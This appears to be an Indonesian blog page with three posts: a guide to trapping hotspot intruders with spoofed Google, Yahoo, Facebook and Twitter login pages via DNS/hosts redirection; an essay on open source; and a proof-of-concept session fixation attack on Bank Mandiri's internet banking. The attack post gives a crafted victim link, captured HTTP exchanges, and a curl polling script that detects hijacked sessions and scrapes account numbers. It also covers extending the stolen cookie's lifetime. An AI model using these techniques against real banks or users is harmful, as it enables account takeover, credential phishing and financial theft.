Friday 18 November 2011

Menjebak pembobol hotspot dengan Login Palsu

BY Putra Muharril IN No comments

Usaha Internet dengan layanan Hotspot makin marak dan potensi peluang bisnis cukup menguntungkan karena hanya bermodalkan 1 Unit server, 1 Unit Acces point, serta paket Internet 1 MB sudah bisa mendirikan Usaha Hotspot untuk Skala RT/RW dengan keuntungan yang bisa mencapai 2 X lipat perbulan jika dikelola secara profesional.
Sangat disayangkan jika system hotspot  yang telah dibuat dengan serapih mungkin akhirnya dibobol dan fasilitas internetnya digunakan secara gratis oleh orang yang tidak betanggung jawab.
Berikut ini Trik Sederhana untuk membantu para Admin Jaringan Hotspot  guna mengidentifikasi para pembobol dengan membuat jebakan Web Palsu (Fake Login).
Persiapan :
1. Unit PC dengan Sistem Operasi Linux
2. Webserver
3. DNS Server
4. Fake Login (Yahoo, Google, Facebook dll,) sesuaikan dengan kebutuhan makin banyak makin bagus
Langkah-langkah
1. Install lah webserver dan DNS server 
# apt-get install apache2 dnsmasq
2.Buatlah direktori untuk menyimpan fake login (Halaman web palsu) makin banyak makin bagus.
# mkdir -p /home/www/fake/google.com
# mkdir -p /home/www/fake/yahoo.com
# mkdir -p /home/www/fake/facebook.com
# mkdir -p /home/www/fake/twitter.com
3. Simpanlah halaman Google, yahoo, facebook, twitter di direktori yang telah kita buat tadi dan modifikasi halaman loginnya untuk membuat fake login.Cara Membuatnya silahkan cari di Forum-forum yang membahas tentang fake login.
4. Konfigurasi Server Apache anda
# vi /etc/apache2/sites-available/fake.google.com
Masukan konfigurasi berikut 
NamaVirtualHost *

ServerName google.com
ServerAlias www.google.com
DocumentRoot /home/www/fake/google.com

Options FollowSymLinks
AllowOverride None

Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
5. Simpan Konfigurasi. 
6. Lakukan  langkah 4-5 sama untuk Yahoo, Facebook, dll
7. Aktifkan fake loginnya dengan cara
# a2ensite fake.google.com
# a2ensite fake.yahoo.com
# a2ensite fake.facebook.com
# a2ensite fake.twitter.com
8. Selanjutnya adalah membuat DHCP Server untuk memberikan IP pada target dan DNS Server
9. Konfigurasi DNS Server
#vi /etc/dnsmasq.com
10. Masukan data berikut di file /etc/dnsmasq.com
interface=eth0
domain=deanet.com
dhcp-lease-max=50
dhcp-authoritative
dhcp-range=192.168.0.10,192.168.1.100,1440m
11. Simpan konfigurasi
12. Selanjutnya adalah membuat record host name untuk fake login dengan mengedit file /etc/hosts
# vi /etc/hosts
13. Isikan data ini pada /etc/hosts dengan alamat situs fake login tersebut seperti berikut:
192.168.0.1 www.google.com
192.168.0.1 google.com
192.168.0.1 www.yahoo.com
192.168.0.1 yahoo.com
192.168.0.1 www.facebook.com
192.168.0.1 facebook.com
192.168.0.1 www.twitter.com
192.168.0.1 twitter.com
Sesuaikan jika memiliki beberapa situs
14. Langkah terakhir adalah menjalankan webservernya
# /etc/init.d/network restart
# /etc/init.d/apache2 restart
# /etc/init.d/dnsmasq restart
Untuk Konfigurasi akses point silahkan sesuaikan dengan jenis alatnya. anda juga dapat menambahkan Honeypot untuk menganalisis Metode pembobol Hotspot yang nantinya bisa dikembangkan untuk Keamanan lanjutan.

Apa itu OPEN SOURCE ?

BY Putra Muharril IN No comments

Jika diartikan menurut arti kata, – Open Source- dalam bahasa Indonesia berarti Kode Terbuka. Kode yang dimaksud disini bukanlah kode morse, ataupun kode barang, tetapi yang kode yang dimaksud disini adalah Kode Program. Kode Program yang dimaksud adalah perintah – perintah yang diketikkan berdasarkan logika yang benar.

Suatu program dengan lisensi Open Source berarti program tersebut membuka Kode Programnya bagi siapa saja yang ingin mempelajarinya, caranya dengan menyertakan kode program bersama dengan distribusi paket program yang sudah jadi (hasil kompilasi). Dengan penyertaan kode program tersebut, pembeli atau pengguna program dapat membedah program tersebut, melakukan modifikasi sesuai dengan kebutuhannya, bahkan memperbaiki -Bug- atau kesalahan logika dalam program tersebut. Contoh program yang Open Source adalah Linux. Dalam setiap distribusinya vendor Linux juga menyertakan Kode Program Linux.

Satu hal yang perlu ditekankan adalah bahwa program / software yang Open Source tidak selalu tersedia secara gratis. Tetap ada biaya yang dikeluarkan untuk membeli program tersebut. Contoh, misalnya Sistem Operasi RedHat Linux, program Linuxnya tetap dibeli dengan harga yang murah. Lalu, apa bedanya Open Source dengan -Closed Source- .

Pada program yang -Closed Source-, paket program tidak dapat didistribusikan lagi selain oleh pembuat / vendor program tersebut. Jika ada distribusi yang bukan oleh vendor program tersebut, maka itu dianggap sebagai pembajakan software. Atau dengan kata lain program yang -Closed Source- tidak dapat didistribusikan secara bebas, kecuali oleh vendor program tersebut. Sedangkan software yang Open Source, dapat didistribusikan secara bebas oleh siapapun. Paket program juga dapat digandakan secara bebas.

Tujuan Open Source sebenarnya adalah ingin menghilangkan ketergantungan terhadap vendor program, dimana vendor bisa saja bertindak seenaknya. Dalam program yang -Closed Source- vendor bisa saja menyisipkan kode – kode yang mungkin dapat membahayakan pengguna program, dan menghilangkan privasi pengguna.

Selain itu, Open Source juga bertujuan menyediakan software yang mudah dijangkau oleh masyarakat luas, dan menghindari pengerukan keuntungan yang berlebihan oleh vendor.
Bagi kalangan IT khususnya di Indonesia, dengan adanya software yang Open Source dapat mendorong semangat untuk mengembangkan program bagi tenaga – tenaga TI di Indonesia. Sebab dengan mempelajari kode program, dapat dianalisa dimana kelemahan program, apa sesungguhnya proses yang berlangsung dalam kerja program, dan sekaligus mencari solusi terhadap kelemahan program yang ditemui. Atau yang lebih extreem adalah memodifikasi program sedemikian rupa agar lebih ergonomis / pas digunakan sesuai dengan keperluan.

Sebagai tenaga yang bergerak di bidang TI, tentunya kita tidak boleh hanya menjadi End User yang hanya mampu memanfaatkan hasil kerja orang lain. Sebab dengan demikian sampai selama – lamanya bidang TI kita akan tertinggal dari negara – negara lain. Kalau hanya ingin menjadi End User, untuk apa kita susah – susah membuang waktu dan biaya yang tidak sedikit untuk menjadi S.Kom ???? Kalau memang hanya ingin menjadi End User lebih efektif dan efisien mengikuti kursus.

Hal inilah yang masih belum disadari oleh kebanyakan Pengajar maupun mahasiswa bidang Teknologi Informasi di Indonesia. Seorang S.Kom bukan dipersiapkan untuk menjadi pengguna, melainkan dipersiapkan untuk menjadi Analis Sistem yang dapat merancang baik software maupun hardware. Dengan menggunakan program yang Open Source bukankah telah terbuka jalan yang sangat lebar untuk menuju ke arah tersebut ?????

Dengan mempelajari kode program yang Open Source kita dapat menganalisa teknik yang digunakan dalam pembuatan software tersebut, yang nantinya pengetahuan tersebut dapat dimanfaatkan untuk merancang aplikasi yang berguna ?????

Harus diakui bahwa jika kita bekerja sebagai Software Developer yang Open Source, akan mengurangi jumlah pendapatan yang akan diterima jika dibandingkan dengan Software Developer yang -Closed Source-, sebab software yang kita buat dapat di distribusikan secara bebas oleh orang lain tanpa membayar lisensi kepada kita.

Namun, ada yang jauh lebih berarti dibandingkan dengan uang tersebut. Yaitu Perbuatan Amal. Dengan mengeluarkan program yang Open Source, dimana pengguna dapat melihat, mempelajari, dan memodifikasi Kode Program, dapat dibayangkan berapa banyak orang yang memperoleh pengetahuan dari program kita, berapa banyak mahasiswa yang dapat meningkatkan kemampuannya dengan mempelajari software yang kita buat. Belum lagi umpan balik yang diberikan oleh pengguna
yang mengetahui kelemahan program kita dan memberikan solusinya, yang dapat meningkatkan kemampuan dan pengetahuan kita.

Lagipula, vendor seperti RedHat yang selama ini bergerak sebagai Software Developer yang Open Source tidak menjadi bangkrut malahan semakin maju. Mengapa ????? Sebab, pengguna yang awam dengan sistem komputer tetap akan menghubungi vendor program jika terjadi masalah dengan program. Karena mereka menganggap bahwa vendor tentu lebih memahami programnya dibandingkan dengan teknisi yang lain.

Namun, pilihan untuk mengikuti Open Source atau tidak tetap bergantung pada diri kita masing – masing. Seandainya anda berkeinginan menjadi Software Developer yang kaya raya seperti Bill Gates, mungkin anda memilih menjadi Software Developer yang -Closed Source-.
Sebaliknya, jika anda adalah seorang yang senang berbagi ilmu dan pengalaman tentunya anda lebih senang menjadi Software Developer yang Open Source, namun itu tentunya kemungkinan kecil dapat menjadikan anda sekaya Bill Gates. Well, pilihan tetap berada pada diri kita masing – masing.

Sunday 6 November 2011

Hacking Mandiri Internet Banking dengan Fixation

BY Putra Muharril IN No comments

courtesy of bank mandiriDalam artikel ini saia akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air.

Session ID Bank Mandiri Internet Banking ......
Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
Fixate sessionid yang dipilih sendiri dengan query string
Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890
 
GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
 
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:28:58 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3822
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache
Ternyata usulan saya ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.
Fixate sessionid yang dibangkitkan server dengan query string
Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
Sessionid ini akan saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
 
GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
 
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:37:42 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3824
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache
Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang saya usulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.
Skenario Serangan
Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:
  1. Attacker mengirimkan link kepada calon korban.
  2. <a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002">
    Klik Dong</a>
    Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:
    • Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id
    • Apakah pakai https? Benar! URL tersebut diawali dengan https
    • Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do
    Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan.
  3. Korban mengklik link tersebut.
  4. Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu menggunakan sessionid tersebut.
    Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?
  5. Korban login
  6. Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.
  7. Attacker mengakses account korban
  8. Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.
Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.
Session Status Checker
Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
while [ true ] ; do
NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"`
if [ -z "$NOREK" ]
then
        echo "Dead"
else
        echo "Alive, Norek: $NOREK"
fi
sleep 10
done
Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
mandiri check session
mandiri check session
Perhatikan pada gambar di atas, script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.
Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.
Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!
Pada gambar tersebut juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.
Modifikasi Cookie Expired Date secara Lokal
modified expired date
modified expired date
Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.
Tips Pencegahan
Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.
Kesimpulan
Saya telah menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.
Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https....